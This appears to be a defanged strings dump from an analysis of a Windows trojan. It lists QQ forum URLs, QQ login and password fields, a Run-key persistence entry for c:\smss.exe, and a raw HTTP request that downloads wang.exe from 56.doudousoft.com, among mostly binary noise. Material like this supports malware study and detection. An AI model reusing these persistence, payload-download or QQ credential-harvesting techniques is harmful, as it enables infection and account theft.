,hXXp://bbs.kid.qq.com/f-1001259024-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026986-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026991-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026982-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026994-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026985-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026988-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026995-1.htm,
,hXXp://bbs.kid.qq.com/f-1001027126-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026993-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026992-1.htm,
,hXXp://bbs.kid.qq.com/f-1001030961-1.htm,
,hXXp://bbs.kid.qq.com/f-1001252280-
1.htm,
,hXXp://bbs.kid.qq.com/f-1001259019-1.htm,
,hXXp://bbs.kid.qq.com/f-1001252281-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259022-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259023-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259026-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259038-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259039-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259045-1.htm,
,hXXp://bbs.kid.qq.com/f-1001027100-1.htm,
,hXXp://bbs.kid.qq.com/f-1001027102-1.htm
,hXXp://bbs.news.qq.com/f-1001024024-1.htm,
,hXXp://bbs.news.qq.com/f-1001024026-1.htm,
,hXXp://bbs.news.qq.com/f-1001027149-1.htm,
,hXXp://bbs.news.qq.com/f-1001025770-1.htm,
,hXXp://bbs.news.qq.com/f-1001350760-1.htm,
,hXXp://bbs.news.qq.com/f-1000087807-1.htm,
,hXXp://bbs.news.qq.com/f-1000090417-1.htm,
,hXXp://bbs.news.qq.com/f-1001252052-1.htm,
,hXXp://bbs.news.qq.com/f-1001057838-1.htm,
,hXXp://bbs.news.qq.com/f-1001300083-1.htm,
,hXXp://bbs.news.qq.com/f-1001338980-1.htm,
,hXXp://bbs.news.qq.com/f-1001057858-1.htm,
,hXXp://bbs.news.qq.com/f-1001024027-1.htm,
,hXXp://bbs.news.qq.com/f-1001227371-1.htm,
,hXXp://bbs.news.qq.com/f-1001227372-1.htm,
,hXXp://bbs.news.qq.com/f-1001346081-1.htm,
,hXXp://bbs.news.qq.com/f-1001346080-1.htm,
,hXXp://bbs.news.qq.com/f-1001346079-1.htm,
,hXXp://bbs.news.qq.com/f-1001346077-1.htm,
,hXXp://bbs.news.qq.com/f-1001350762
,hXXp://bbs.news.qq.com/f-1001338986-1.htm|
,hXXp://bbs.ent.qq.com/f-1000204465-1.htm,
,hXXp://bbs.ent.qq.com/f-1001177737-1.htm,
,hXXp://bbs.ent.qq.com/f-1001338600-1.htm,
,hXXp://bbs.ent.qq.com/f-1001338601-1.htm,
,hXXp://bbs.ent.qq.com/f-1001268378-1.htm,
,hXXp://bbs.ent.qq.com/f-1001268376-1.htm,
,hXXp://bbs.ent.qq.com/f-1001338679-1.htm,
,hXXp://bbs.ent.qq.com/f-1000004129-1.htm,TVB
,hXXp://bbs.ent.qq.com/f-1001261496-1.htm,
,hXXp://bbs.ent.qq.com/f-1000004128-1.htm,Q
,hXXp://bbs.ent.qq.com/f-1001422545-1.htm,
,hXXp://bbs.ent.qq.com/f-1000005473-1.htm,
,hXXp://bbs.ent.qq.com/f-1000004130-1.htm,
,hXXp://bbs.ent.qq.com/f-1000001957-1.htm,
,hXXp://bbs.ent.qq.com/f-1001422540-1.htm,
,hXXp://bbs.ent.qq.com/f-1001338615-1.htm,
,hXXp://bbs.ent.qq.com/f-1000004146-1.htm,
,hXXp://bbs.ent.qq.com/f-1001024158-1.htm,
,hXXp://bbs.ent.qq.com/f-1001027082-1.htm,
,hXXp://bbs.ent.qq.com/f-1001422552-1.htm,
,hXXp://bbs.ent.qq.com/f-1001422543-1.htm|
,hXXp://club.auto.qq.com/f-16-1.htm,
,hXXp://club.auto.qq.com/f-5-1.htm,
,hXXp://club.auto.qq.com/f-10-1.htm,
,hXXp://club.auto.qq.com/f-11-1.htm,
,hXXp://club.auto.qq.com/f-9-1.htm,
,hXXp://club.auto.qq.com/f-7-1.htm,
,hXXp://club.auto.qq.com/f-13-1.htm,
,hXXp://club.auto.qq.com/f-237-1.htm,
,hXXp://club.auto.qq.com/f-14-1.htm,
,hXXp://club.auto.qq.com/f-245-1.htm,
,hXXp://club.auto.qq.com/f-253-1.htm,
,hXXp://club.auto.qq.com/f-17-1.htm,
,hXXp://club.auto.qq.com/f-45-1.htm,
,hXXp://club.auto.qq.com/f-47-1.htm,
,hXXp://club.auto.qq.com/f-48-1.htm,
,hXXp://club.auto.qq.com/f-52-1.htm,
,hXXp://club.auto.qq.com/f-53-1.htm,
,hXXp://club.auto.qq.com/f-259-1.htm,
,hXXp://club.auto.qq.com/f-19-1.htm,
,hXXp://club.auto.qq.com/f-33-1.htm,
,hXXp://club.auto.qq.com/f-41-1.htm,
,hXXp://club.aut
o.qq.com/f-43-1.htm,
,hXXp://club.auto.qq.com/f-21-1.htm,
,hXXp://club.auto.qq.com/f-59-1.htm,
,hXXp://club.auto.qq.com/f-60-1.htm,
,hXXp://club.auto.qq.com/f-61-1.htm,
,hXXp://club.auto.qq.com/f-62-1.htm,
,hXXp://club.auto.qq.com/f-23-1.htm,
,hXXp://club.auto.qq.com/f-64-1.htm,
,hXXp://club.auto.qq.com/f-65-1.htm,
,hXXp://club.auto.qq.com/f-66-1.htm,
,hXXp://club.auto.qq.com/f-257-1.htm,
,hXXp://club.auto.qq.com/f-25-1.htm,
,hXXp://club.auto.qq.com/f-69-1.htm,
,hXXp://club.auto.qq.com/f-70-1.htm,
,hXXp://club.auto.qq.com/f-255-1.htm,
,hXXp://club.auto.qq.com/f-27-1.htm,
,hXXp://club.auto.qq.com/f-71-1.htm,
,hXXp://club.auto.qq.com/f-260-1.htm,
,hXXp://club.auto.qq.com/f-28-1.htm,
,hXXp://club.auto.qq.com/f-73-1.htm,
,hXXp://club.auto.qq.com/f-74-1.htm,
,hXXp://club.auto.qq.com/f-258-1.htm,
,hXXp://club.auto.qq.com/f-6-1.htm,
,hXXp://club.auto.qq.com/f-8-1.htm,
,hXXp://club.auto.qq.com/f-12-1.htm,MINI
,hXXp://club.auto.qq.com/f-15-1.htm,
,hXXp://club.auto.qq.com/f-18-1.htm,F3,hXXp://club.auto.qq.com/f-20-1.htm,F0,hXXp://club.auto.qq.com/f-22-1.htm,
,hXXp://club.auto.qq.com/f-24-1.htm,
,hXXp://club.auto.qq.com/f-26-1.htm,
,hXXp://club.auto.qq.com/f-29-1.htm,
,hXXp://club.auto.qq.com/f-31-1.htm,
300C,hXXp://club.auto.qq.com/f-32-1.htm,
,hXXp://club.auto.qq.com/f-34-1.htm,
,hXXp://club.auto.qq.com/f-35-1.htm,
,hXXp://club.auto.qq.com/f-36-1.htm,ix35,hXXp://club.auto.qq.com/f-37-1.htm,
,hXXp://club.auto.qq.com/f-38-1.htm,
,hXXp://club.auto.qq.com/f-39-1.htm,
,hXXp://club.auto.qq.com/f-40-1.htm,i30,hXXp://club.auto.qq.com/f-42-1.htm,
,hXXp://club.auto.qq.com/f-44-1.htm,
,hXXp://club.auto.qq.com/f-46-1.htm,
,hXXp://club.auto.qq.com/f-49-1.htm,
,hXXp://club.auto.qq.com/f-50-1.htm,
,hXXp://club.auto.qq.com/f-51-1.htm,
,hXXp://club.auto.qq.com/f-54-1.htm,
,hXXp://club.auto.qq.com/f-55-1.htm,
,hXXp://club.auto.qq.com/f-56-1.
M2,hXXp://club.auto.qq.com/f-57-1.htm,
,hXXp://club.auto.qq.com/f-58-1.htm,
,hXXp://club.auto.qq.com/f-63-1.htm,
,hXXp://club.auto.qq.com/f-67-1.htm,
,hXXp://club.auto.qq.com/f-68-1.htm,
SX4,hXXp://club.auto.qq.com/f-75-1.htm,
,hXXp://club.auto.qq.com/f-76-1.htm,
,hXXp://club.auto.qq.com/f-77-1.htm,
,hXXp://club.auto.qq.com/f-78-1.htm,
,hXXp://club.auto.qq.com/f-79-1.htm,
2,hXXp://club.auto.qq.com/f-80-1.htm,
3,hXXp://club.auto.qq.com/f-81-1.htm,
,hXXp://club.auto.qq.com/f-82-1.htm,
,hXXp://club.auto.qq.com/f-93-1.htm,
,hXXp://club.auto.qq.com/f-94-1.htm,
,hXXp://club.auto.qq.com/f-95-1.htm,S-MAX,hXXp://club.auto.qq.com/f-96-1.htm,
,hXXp://club.auto.qq.com/f-83-1.htm,
,hXXp://club.auto.qq.com/f-137-1.htm,
CRV,hXXp://club.auto.qq.com/f-138-1.htm,
,hXXp://club.auto.qq.com/f-264-1.htm,
,hXXp://club.auto.qq.com/f-84-1.htm,
206,hXXp://club.auto.qq.com/f-132-1.htm,
207,hXXp://club.auto.qq.com/f-133-1.htm,
307,hXXp://club.auto.qq.com/f-134-1.htm,
408,hXXp://club.auto.qq.com/f-135-1.htm,
3008,hXXp://club.auto.qq.com/f-136-1.htm,
,hXXp://club.auto.qq.com/f-85-1.htm,
,hXXp://club.auto.qq.com/f-125-1.htm,
,hXXp://club.auto.qq.com/f-126-1.htm,
,hXXp://club.auto.qq.com/f-127-1.htm,
,hXXp://club.auto.qq.com/f-128-1.htm,
,hXXp://club.auto.qq.com/f-129-1.htm,
,hXXp://club.auto.qq.com/f-130-1.htm,
,hXXp://club.auto.qq.com/f-131-1.htm,
,hXXp://club.auto.qq.com/f-86-1.htm,
-soul,hXXp://club.auto.qq.com/f-120-1.htm,
,hXXp://club.auto.qq.com/f-121-1.htm,
,hXXp://club.auto.qq.com/f-122-1.htm,
,hXXp://club.auto.qq.com/f-123-1.htm,
,hXXp://club.auto.qq.com/f-124-1.htm,
,hXXp://club.auto.qq.com/f-87-1.htm,
,hXXp://club.auto.qq.com/f-97-1.htm,V3
,hXXp://club.auto.qq.com/f-98-1.htm,
,hXXp://club.auto.qq.com/f-88-1.htm,
,hXXp://club.auto.qq.com/f-99-1.htm,
,hXXp://club.auto.qq.com/f-100-1.htm,
,hXXp://club.auto.qq.com/f-101-1.htm,C2,h
ttp://club.auto.qq.com/f-102-1.htm,
,hXXp://club.auto.qq.com/f-103-1.htm,
,hXXp://club.auto.qq.com/f-104-1.htm,C5,hXXp://club.auto.qq.com/f-105-1.htm,
,hXXp://club.auto.qq.com/f-89-1.htm,
,hXXp://club.auto.qq.com/f-106-1.htm,
,hXXp://club.auto.qq.com/f-107-1.htm,
,hXXp://club.auto.qq.com/f-108-1.htm,
,hXXp://club.auto.qq.com/f-90-1.htm,
,hXXp://club.auto.qq.com/f-109-1.htm,
,hXXp://club.auto.qq.com/f-110-1.htm,
,hXXp://club.auto.qq.com/f-91-1.htm,
,hXXp://club.auto.qq.com/f-111-1.htm,
,hXXp://club.auto.qq.com/f-112-1.htm,
,hXXp://club.auto.qq.com/f-113-1.htm,
,hXXp://club.auto.qq.com/f-92-1.htm,
,hXXp://club.auto.qq.com/f-114-1.htm,
,hXXp://club.auto.qq.com/f-115-1.htm,
,hXXp://club.auto.qq.com/f-116-1.htm,
,hXXp://club.auto.qq.com/f-117-1.htm,
,hXXp://club.auto.qq.com/f-118-1.htm,
,hXXp://club.auto.qq.com/f-119-1.htm,
,hXXp://club.auto.qq.com/f-139-1.htm,
,hXXp://club.auto.qq.com/f-149-1.htm,
,hXXp://club.a
uto.qq.com/f-140-1.htm,
,hXXp://club.auto.qq.com/f-150-1.htm,
,hXXp://club.auto.qq.com/f-151-1.htm,
,hXXp://club.auto.qq.com/f-153-1.htm,
,hXXp://club.auto.qq.com/f-154-1.htm,
,hXXp://club.auto.qq.com/f-238-1.htm,
,hXXp://club.auto.qq.com/f-263-1.htm,
,hXXp://club.auto.qq.com/f-141-1.htm,
,hXXp://club.auto.qq.com/f-142-1.htm,
,hXXp://club.auto.qq.com/f-143-1.htm,
,hXXp://club.auto.qq.com/f-157-1.htm,
,hXXp://club.auto.qq.com/f-144-1.htm,
,hXXp://club.auto.qq.com/f-158-1.htm,
,hXXp://club.auto.qq.com/f-159-1.htm,
,hXXp://club.auto.qq.com/f-160-1.htm,
QQ,hXXp://club.auto.qq.com/f-161-1.htm,
A5,hXXp://club.auto.qq.com/f-162-1.htm,
A3,hXXp://club.auto.qq.com/f-163-1.htm,
A1,hXXp://club.auto.qq.com/f-164-1.htm,
,hXXp://club.auto.qq.com/f-165-1.htm,
,hXXp://club.auto.qq.com/f-166-1.htm,
,hXXp://club.auto.qq.com/f-145-1.htm,
,hXXp://club.auto.qq.com/f-177-1.htm,
,hXXp://club.auto.qq.com/f-178-1.htm,
uto.qq.com/f-179-1.htm,
,hXXp://club.auto.qq.com/f-146-1.htm,
,hXXp://club.auto.qq.com/f-170-1.htm,
,hXXp://club.auto.qq.com/f-171-1.htm,
(Tiguan),hXXp://club.auto.qq.com/f-172-1.htm,Polo,hXXp://club.auto.qq.com/f-173-1.htm,
,hXXp://club.auto.qq.com/f-174-1.htm,
,hXXp://club.auto.qq.com/f-175-1.htm,
,hXXp://club.auto.qq.com/f-176-1.htm,
,hXXp://club.auto.qq.com/f-147-1.htm,GL8,hXXp://club.auto.qq.com/f-167-1.htm,
,hXXp://club.auto.qq.com/f-168-1.htm,
,hXXp://club.auto.qq.com/f-169-1.htm,
,hXXp://club.auto.qq.com/f-148-1.htm,SPARK
,hXXp://club.auto.qq.com/f-180-1.htm,
,hXXp://club.auto.qq.com/f-181-1.htm,
,hXXp://club.auto.qq.com/f-182-1.htm,
,hXXp://club.auto.qq.com/f-183-1.htm,
,hXXp://club.auto.qq.com/f-184-1.htm,
,hXXp://club.auto.qq.com/f-185-1.htm,
,hXXp://club.auto.qq.com/f-269-1.htm,
,hXXp://club.auto.qq.com/f-186-1.htm,
750,hXXp://club.auto.qq.com/f-207-1.htm,
550,hXXp://club.auto.qq.com/f-208-1.htm,
MG,hXXp://club.auto.qq.com/f-187-1.htm,MG3,hXXp://club.auto.qq.com/f-204-1.htm,MG7,hXXp://club.auto.qq.com/f-205-1.htm, MG5,hXXp://club.auto.qq.com/f-206-1.htm,
,hXXp://club.auto.qq.com/f-188-1.htm,
,hXXp://club.auto.qq.com/f-199-1.htm,
,hXXp://club.auto.qq.com/f-200-1.htm,
,hXXp://club.auto.qq.com/f-201-1.htm,
,hXXp://club.auto.qq.com/f-202-1.htm,
,hXXp://club.auto.qq.com/f-203-1.htm,
,hXXp://club.auto.qq.com/f-189-1.htm,R8,hXXp://club.auto.qq.com/f-192-1.htm,Q7,hXXp://club.auto.qq.com/f-193-1.htm,A6,hXXp://club.auto.qq.com/f-194-1.htm,TT,hXXp://club.auto.qq.com/f-195-1.htm,A4L,hXXp://club.auto.qq.com/f-196-1.htm,A3,hXXp://club.auto.qq.com/f-197-1.htm,Q5,hXXp://club.auto.qq.com/f-198-1.htm,
,hXXp://club.auto.qq.com/f-190-1.htm,
B70,hXXp://club.auto.qq.com/f-214-1.htm,
B50,hXXp://club.auto.qq.com/f-215-1.htm,
,hXXp://club.auto.qq.com/f-267-1.htm,
,hXXp://club.auto.qq.com/f-191-1.htm,
,hXXp://club.auto.qq.com/f-209-1.htm,
3,hXXp://club.auto.qq.com
/f-210-1.htm,
,hXXp://club.auto.qq.com/f-211-1.htm,
,hXXp://club.auto.qq.com/f-212-1.htm,
,hXXp://club.auto.qq.com/f-213-1.htm,
,hXXp://club.auto.qq.com/f-216-1.htm,
5,hXXp://club.auto.qq.com/f-234-1.htm,
6,hXXp://club.auto.qq.com/f-235-1.htm,
,hXXp://club.auto.qq.com/f-236-1.htm,
,hXXp://club.auto.qq.com/f-217-1.htm,
6(GTI),hXXp://club.auto.qq.com/f-228-1.htm,
,hXXp://club.auto.qq.com/f-229-1.htm,
,hXXp://club.auto.qq.com/f-230-1.htm,
,hXXp://club.auto.qq.com/f-231-1.htm,
,hXXp://club.auto.qq.com/f-232-1.htm,
cc,hXXp://club.auto.qq.com/f-233-1.htm,
,hXXp://club.auto.qq.com/f-218-1.htm,RAV4,hXXp://club.auto.qq.com/f-221-1.htm,Venza,hXXp://club.auto.qq.com/f-222-1.htm,
,hXXp://club.auto.qq.com/f-223-1.htm,
,hXXp://club.auto.qq.com/f-224-1.htm,
,hXXp://club.auto.qq.com/f-225-1.htm,
,hXXp://club.auto.qq.com/f-226-1.htm,
,hXXp://club.auto.qq.com/f-227-1.htm,
,hXXp://club.auto.qq.com/f-219-1.htm,
,hXXp://club.auto.qq.
com/f-220-1.htm,
,hXXp://club.auto.qq.com/f-246-1.htm,
,hXXp://club.auto.qq.com/f-247-1.htm,
,hXXp://club.auto.qq.com/f-248-1.htm,
Cross,hXXp://club.auto.qq.com/f-152-1.htm,
,hXXp://club.auto.qq.com/f-155-1.htm,
,hXXp://club.auto.qq.com/f-249-1.htm,TX4,hXXp://club.auto.qq.com/f-250-1.htm,SC7(
),hXXp://club.auto.qq.com/f-251-1.htm,SC5-RV,hXXp://club.auto.qq.com/f-252-1.htm,
,hXXp://club.auto.qq.com/f-262-1.htm,Splash,hXXp://club.auto.qq.com/f-72-1.htm,
,hXXp://club.auto.qq.com/f-265-1.htm,E
,hXXp://club.auto.qq.com/f-266-1.htm|
,hXXp://bbs.lady.qq.com/f-1001023923-1.htm,
,hXXp://bbs.lady.qq.com/f-1000004347-1.htm,
,hXXp://bbs.lady.qq.com/f-1001258667-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088039-1.htm,
,hXXp://bbs.lady.qq.com/f-1000004349-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088044-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088038-1.htm,
,hXXp://bbs.lady.qq.com/f-1001026944-1.htm,
,hXXp://bbs.lady.qq.
com/f-1000004348-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088053-1.htm,
,hXXp://bbs.lady.qq.com/f-1000004361-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088040-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088041-1.htm,
,hXXp://bbs.lady.qq.com/f-1001026945-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088051-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088049-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090275-1.htm,
,hXXp://bbs.lady.qq.com/f-1001024059-1.htm,
,hXXp://bbs.lady.qq.com/f-1001026957-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088043-1.htm,
,hXXp://bbs.lady.qq.com/f-1001026955-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088045-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088099-1.htm,
,hXXp://bbs.lady.qq.com/f-1001026956-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088096-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088097-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088106-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090297-1.htm,
,hXXp://bbs.lady
.qq.com/f-1000090285-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090305-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090289-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090290-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090301-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090292-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090293-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090294-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090288-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090287-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090286-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090284-1.htm,
,hXXp://bbs.lady.qq.com/f-1001258636-1.htm,
,hXXp://bbs.lady.qq.com/f-1001258635-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090296-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090302-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090295-1.htm,
,hXXp://bbs.lady.qq.com/f-1001026958-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088052-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090282-1.htm,
,hXXp://bbs.
lady.qq.com/f-1000090299-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090298-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090306-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090283-1.htm,
,hXXp://bbs.lady.qq.com/f-1001258637-1.htm,
,hXXp://bbs.lady.qq.com/f-1001024131-1.htm,
,hXXp://bbs.lady.qq.com/f-1001024061-1.htm,
,hXXp://bbs.lady.qq.com/f-1001024062-1.htm,
,hXXp://bbs.lady.qq.com/f-1001258668-1.htm
SRQ.Wq\
controlLogin1
(0&&&000&0
(0((((/(0
QQLoginStop
QQLogindex
strURL
RefUrl
MainUrl
isLoginGoing
loginIndex
qqPassword
input_url
Fileurl
setup.exe
[email protected]
360tray.exe
c:\smss.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss
%Program Files%\Internet Explorer\iexplore.exe
6.lnk
7.lnk
chrome.lnk
chrome
Opera.lnk
Opera
Mozilla Firefox.lnk
Mozilla Firefox
Google Chrome.lnk
Google Chrome
config.ini
.html
hXXp://56.doudousoft.com/ini/oem/
hXXp://56.doudousoft.com/ini/liuliang/wang.html
hXXp://56.doudousoft.com/ini/liuliang/config.html
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
http=
https
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
hXXps://
hXXp://
[email protected]
.exe|.rar|.zip|.gif|.jpg|.mp3|.rm
javascript:document.onsdragstart=document.onselectstart=document.oncontextmenu=function(){return true}
javascript:document.onselectstart = document.oncontextmenu = document.onmousedown = document.onkeydown = function(){return true;};
var jie = document.createStyleSheet();jie.addRule('html','overflow:hidden;');
text|password|file
comdlg32.dll
{557CF400-1A04-11D3-9A73-0000F81EF32E}
{557CF401-1A04-11D3-9A73-0000F81EF32E}
{557CF402-1A04-11D3-9A73-0000F81EF32E}
{557CF405-1A04-11D3-9A73-0000F81EF32E}
{557CF406-1A04-11D3-9A73-0000F81EF32E}
WarnOnHTTPSToHTTPRedirect
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
mhXXp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:D5956B06E931E4118CD0C7250826180F" xmpMM:DocumentID="xmp.did:CB07F72031F711E492E9CFE002CF16CE" xmpMM:InstanceID="xmp.iid:CB07F71F31F711E492E9CFE002CF16CE" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8FA50522F631E4118CD0C7250826180F" stRef:documentID="xmp.did:D5956B06E931E4118CD0C7250826180F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
c! WQ4@%f
.Tgzk-
-hywGo}
.jD6j
[email protected])
F.uqM)
.bmvKz
vVuM.zp^
IR.qF
;.dM@]
..yy='
I.LBJ
sy.Ge
.DeIZ
P.QYu
.LenaEl
BB.kT
%Xb]n
O.DmKL>'kp
W3%sE
~4Î
Z9'%D
3s.GGz
DWu.KR
%D)AO)
.ReEZ
UI.UK
[%c@4
x.ldCtOa-
.YrrEi!
&g-dX}
="gcl9%s
2.lBpNv
.WlrnK
.JJ7)
"B%sVJ
.KiuN
t.GSp
&\.xH
s^%U;r
.Bh[nZ
.PmHd
!t.KAJ
F~.Kl
.SL?yM
G-.TB
<6.Mf
.lOB"b
a3.LU
%D)I mWM=
%uf/T
OÇ&
k.JIz
.irjBd:
F%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
__MSVCRT_HEAP_SELECT
RASAPI32.dll
GetProcessHeap
WinExec
GetWindowsDirectoryA
KERNEL32.dll
GetKeyState
USER32.dll
GetViewportOrgEx
GDI32.dll
WINMM.dll
WINSPOOL.DRV
ADVAPI32.dll
SHELL32.dll
OLEAUT32.dll
COMCTL32.dll
oledlg.dll
WS2_32.dll
InternetCrackUrlA
InternetCanonicalizeUrlA
WININET.dll
GetCPInfo
CreateDialogIndirectParamA
UnhookWindowsHookEx
SetWindowsHookExA
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
.PAVCException@@
.PAVCNotSupportedException@@
.PAVCFileException@@
(*.prn)|*.prn|
(*.*)|*.*||
Shell32.dll
Mpr.dll
Advapi32.dll
User32.dll
Gdi32.dll
Kernel32.dll
(&07-034/)7 '
?? / %d]
%d / %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
out.prn
%d.%d
%d / %d
%d/%d
Bogus message code %d
(%d-%d):
%ld%c
[%s:%d]
Range: bytes=%s-
[%s:%d]
PASS %s
PASS ******
USER %s
E:\dev\e\static_link\static_libs\source\downlib\mystrlib.cpp
SIZE %s
PORT
User-Agent: %s
Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Referer: %s
Host: %s
GET %s HTTP/1.1
HTTP/1.0
Cookie: %s
%d, %s
\\192.168.0.129\TCP\1037
NSPlayer/9.0.0.2980; {%s}; Host: %s
rmff_fix_header: assuming data.size=%i
rmff_fix_header: assuming data.num_packets=%i
rmff_fix_header: assuming prop.num_packets=%i
rmff_fix_header: setting prop.data_offset from %i to %i
rmff_fix_header: correcting prop.num_streams from %i to %i
rmff_fix_header: correcting prop.size from %i to %i
%s %s %s
Session: %s
Cseq: %u
%*s %s
%*s %u
CSeq: %u
rtsp://%s:%i
rtsp://%s:%i/%s
ClientID: Linux_2.4_6.0.9.1235_play32_RN01_EN_586
GUID: 00000000-0000-0000-0000-000000000000
[%s:%d]
User-Agent: RealMedia Player Version 6.0.9.1235 (linux-2.0-libc6-i386-gcc2.95)
Range: npt=%s-
%s/streamid=1
%s/streamid=0
Transport: x-pn-tng/tcp;mode=play,rtp/avp/tcp;unicast;mode=play
If-Match: %s
RealChallenge2: %s, sd=%s
Title: %s
Copyright: %s
Author: %s
real: Content-length for description too big (> %uMB)!
Require: com.real.retain-entity-for-setup
SupportsMaximumASMBandwidth: 1
Bandwidth: %u
Challenge1: %s
hash output: %x %x %x %x
hash input: %x %x %x %x
stream=%u;rule=%u,
Illegal character '%c' in input.
(*.htm;*.html)|*.htm;*.html
its:%s::%s
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
%s <%s>
Reply-To: %s
From: %s
To: %s
Subject: %s
Date: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
SMTP
.PAVCOleException@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCOleDispatchException@@
.PAVCArchiveException@@
zcÁ
1ebb19055c510bfca1f92294.exe
<META http-equiv=Content-Type content="text-html; charset=Windows-1252">
// in real bits, urls get returned to our script like this:
// res://shdocvw.dll/http_404.htm#hXXp://VVV.DocURL.com/bar.htm
//For testing use DocURL = "res://shdocvw.dll/http_404.htm#hXXps://VVV.microsoft.com/bar.htm"
DocURL=docu
/wang.exe HTTP/1.1
Host: 56.doudousoft.com
Referer: hXXp://56.doudousoft.com/updata/
User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
c:\%original file name%.exe
#include "l.chs\afxres.rc" // Standard components
$TD0.nYk/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j/o[j.lXk.kVn
\SVN\qqqf\QQSenderSoft.vbp
s9368265E-85FE-11d1-8BE3-0000F8754DA1
9368265E-85FE-11d1-8BE3-0000F8754DA1
t9368265E-85FE-11d1-8BE3-0000F8754DA1
651A8940-87C5-11d1-8BE3-0000F8754DA1
28C4C820-401A-101B-A3C9-08002B2F49FB
78E1BDD1-9941-11cf-9756-00AA00C00908
hXXp://cgi.find.qq.com/qqfind/qun/search_group_rcmd_v6
hXXp://ui.ptlogin2.qq.com/
skey=@
hXXp://qqun.qq.com/cgi-bin/qun_search/search_group?k=
/pic/AddGroup.bmp
/pic/AddGroup1.bmp
hXXp://t.qq.com
\save\validate_group.txt
adodb.stream
MSXML2.XMLHTTP
